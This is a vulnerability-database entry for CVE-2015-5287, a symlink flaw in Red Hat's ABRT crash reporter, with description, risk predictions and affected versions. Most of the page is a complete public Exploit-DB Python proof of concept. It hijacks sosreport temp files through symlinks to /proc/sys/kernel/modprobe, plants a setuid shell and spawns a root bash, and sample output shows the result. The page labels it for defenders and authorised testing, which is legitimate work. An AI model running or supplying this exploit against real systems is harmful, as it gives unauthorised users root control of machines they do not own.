CVE-2015-5287

medium
Published 2015-12-07 ยท Modified 2026-05-06
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
7.9

Description

The abrt-hook-ccpp help program in Automatic Bug Reporting Tool (ABRT) before 2.7.1 allows local users with certain permissions to gain privileges via a symlink attack on a file with a predictable name, as demonstrated by /var/tmp/abrt/abrt-hax-coredump or /var/spool/abrt/abrt-hax-coredump.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38832 local linux verified python ยท 3 KB
rebel ยท 2015-12-01

RHEL 7.0/7.1 - 'abrt/sosreport' Local Privilege Escalation

python exploit Source: Exploit-DB
#!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015

# [user@localhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory:  /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport:  sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles:  ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release 
# Red Hat Enterprise Linux Server release 7.1 (Maipo)

import os,sys,glob,time,sys,socket

payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"

pid = os.fork()

if pid == 0:
	os.execl("/usr/bin/sleep","sleep","100")

time.sleep(0.5)

print "crashing pid %d" % pid

os.kill(pid,11)

print "waiting for dump directory"

def waitpath(p):
	while 1:
		r = glob.glob(p)
		if len(r) > 0:
			return r
		time.sleep(0.05)	

dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]

print "dump directory: ", dumpdir

os.chdir(dumpdir)

print "waiting for sosreport directory"

sosreport = waitpath("sosreport-*")[0]

print "sosreport: ", sosreport

print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")

print "tmpfiles: ", tmpfiles

print "moving directory"

os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)

os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)

os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")

print "moving tmpfiles"

for x in tmpfiles:
	print "%s -> %s" % (x,x + ".old")
	os.rename(x, x + ".old")
	open(x, "w+").write("/tmp/hax.sh\n")
	os.chmod(x,0666)


os.chdir("/")

sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")


def trigger():
	open("/tmp/hax.sh","w+").write(payload)
	os.chmod("/tmp/hax.sh",0755)
	try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
	except: pass
	time.sleep(0.5)
	try:
		os.stat("/tmp/sh")
	except:
		print "could not create suid"
		sys.exit(-1)
	print "success"
	os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
	sys.exit(-1)

for x in xrange(0,60*10):
	if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
		print "done"
		trigger()
	time.sleep(1)
	sys.stderr.write(".")

print "timed out"
EDB-38835 local multiple verified
rebel ยท 2015-12-01

abrt (Centos 7.1 / Fedora 22) - Local Privilege Escalation

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EDB-47421 local linux verified
Metasploit ยท 2019-09-25

ABRT - sosreport Privilege Escalation (Metasploit)

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Metasploit modules

ABRT sosreport Privilege Escalation
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OS impact

redhat Red Hat Affected 1 release
VersionStatusFixed in
7.0 Affected โ€”

Application impact

VendorProductVersionsFixed
redhat redhatautomatic_bug_reporting_tool{"endIncluding":"2.7.0"}

References

CWEs

CWE-59

Community-verified mitigations for this CVE will appear above when contributors publish them.

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